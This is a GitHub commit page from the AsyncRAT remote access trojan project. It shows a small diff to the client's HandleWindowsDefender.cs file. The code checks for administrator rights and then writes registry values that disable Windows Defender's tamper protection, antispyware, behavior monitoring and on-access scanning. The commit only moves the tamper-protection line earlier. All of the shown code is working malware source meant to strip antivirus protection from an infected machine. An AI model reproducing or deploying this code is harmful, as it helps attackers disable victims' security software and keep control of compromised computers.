Skip to content

Commit

Permalink
Merge pull request #24 from MrDevBot/patch-1
Browse files Browse the repository at this point in the history
Fixed potential error in MS-AntiTamper Protection Framework
  • Loading branch information
Nyrotication committed May 20, 2019
2 parents ccf91f3 + 165e98b commit 4626e89
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs
Original file line number Diff line number Diff line change
Expand Up @@ -16,12 +16,12 @@ public class HandleWindowsDefender
public HandleWindowsDefender()
{
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;


RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6

CheckDefender();
}
Expand Down

0 comments on commit 4626e89

Please sign in to comment.